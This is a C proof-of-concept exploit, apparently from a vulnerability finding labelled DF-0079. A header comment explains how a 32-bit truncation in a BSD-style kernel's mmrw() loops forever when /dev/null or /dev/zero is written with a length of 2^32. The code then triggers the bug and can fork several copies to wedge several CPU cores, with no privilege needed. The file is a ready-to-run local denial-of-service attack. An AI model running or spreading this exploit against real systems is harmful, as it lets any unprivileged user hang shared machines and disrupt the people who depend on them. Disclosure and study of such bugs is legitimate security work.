DF-0079 / df0079.c
/* * DF-0079 PoC - unprivileged local DoS via /dev/null (and /dev/zero) * infinite kernel loop in mmrw(). * * Root cause (sys/kern/kern_memio.c): * :225 u_int c; // 32-bit * :232 while (uio->uio_resid > 0 && error == 0) { * :298 c = iov->iov_len; // /dev/null write: size_t->u_int TRUNC * :364 c = iov->iov_len; // /dev/zero write: same truncation * :379 iov->iov_base += c; // all four subtract c (=0) * :380 iov->iov_len -= c; // unchanged * :381 uio->uio_offset+= c; * :382 uio->uio_resid -= c; // unchanged -> loop spins forever * * iov_len = 2^32 = 0x100000000 has low 32 bits == 0, so (u_int)c = 0. * The 64-bit check at :234 (if (iov->iov_len == 0)) does NOT trip because * the full 64-bit iov_len is 2^32, not 0. * * sys_write (sys_generic.c:336) only rejects (ssize_t)nbyte < 0; 2^32 is * positive so it passes. /dev/null write never calls uiomove, so the user * buffer pointer (here (void*)0x1) is never validated/dereferenced. * * Build: cc -o df0079 df0079.c * Run: ./df0079 # pegs one CPU forever in kernel (mmrw) * ./df0079 8 # fork 8 copies to wedge 8 cores * * /dev/null and /dev/zero are mode 0666 (kern_memio.c:842/:847) so NO * privilege is required. Each call wedges one kernel thread indefinitely. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void trigger(const char *path) { int fd = open(path, O_WRONLY); if (fd < 0) { perror(path); _exit(1); } /* iov_len = 2^32 -> low 32 bits zero -> u_int c truncates to 0 -> * mmrw bookkeeping subtracts 0 -> while(uio_resid>0) spins forever. * Buffer (void*)0x1 is never dereferenced: /dev/null write path * (case 2) does NOT call uiomove. */ ssize_t r = write(fd, (void *)0x1UL, 0x100000000ULL); fprintf(stderr, "write returned %zd (unexpected!)\n", r); _exit(r < 0 ? 1 : 0); } int main(int argc, char **argv) { const char *path = (argc > 2) ? argv[2] : "/dev/null"; int n = (argc > 1) ? atoi(argv[1]) : 1; int i; fprintf(stderr, "DF-0079: triggering %s infinite-loop DoS, %d procs\n", path, n); fprintf(stderr, "DF-0079: pid=%d calling write(fd, 0x1, 2^32)\n", (int)getpid()); if (n <= 1) { trigger(path); /* never returns on vulnerable kernel */ return 0; } for (i = 0; i < n; i++) { if (fork() == 0) trigger(path); /* child: never returns */ } fprintf(stderr, "DF-0079: spawned %d wedged children on %s\n", n, path); return 0; } |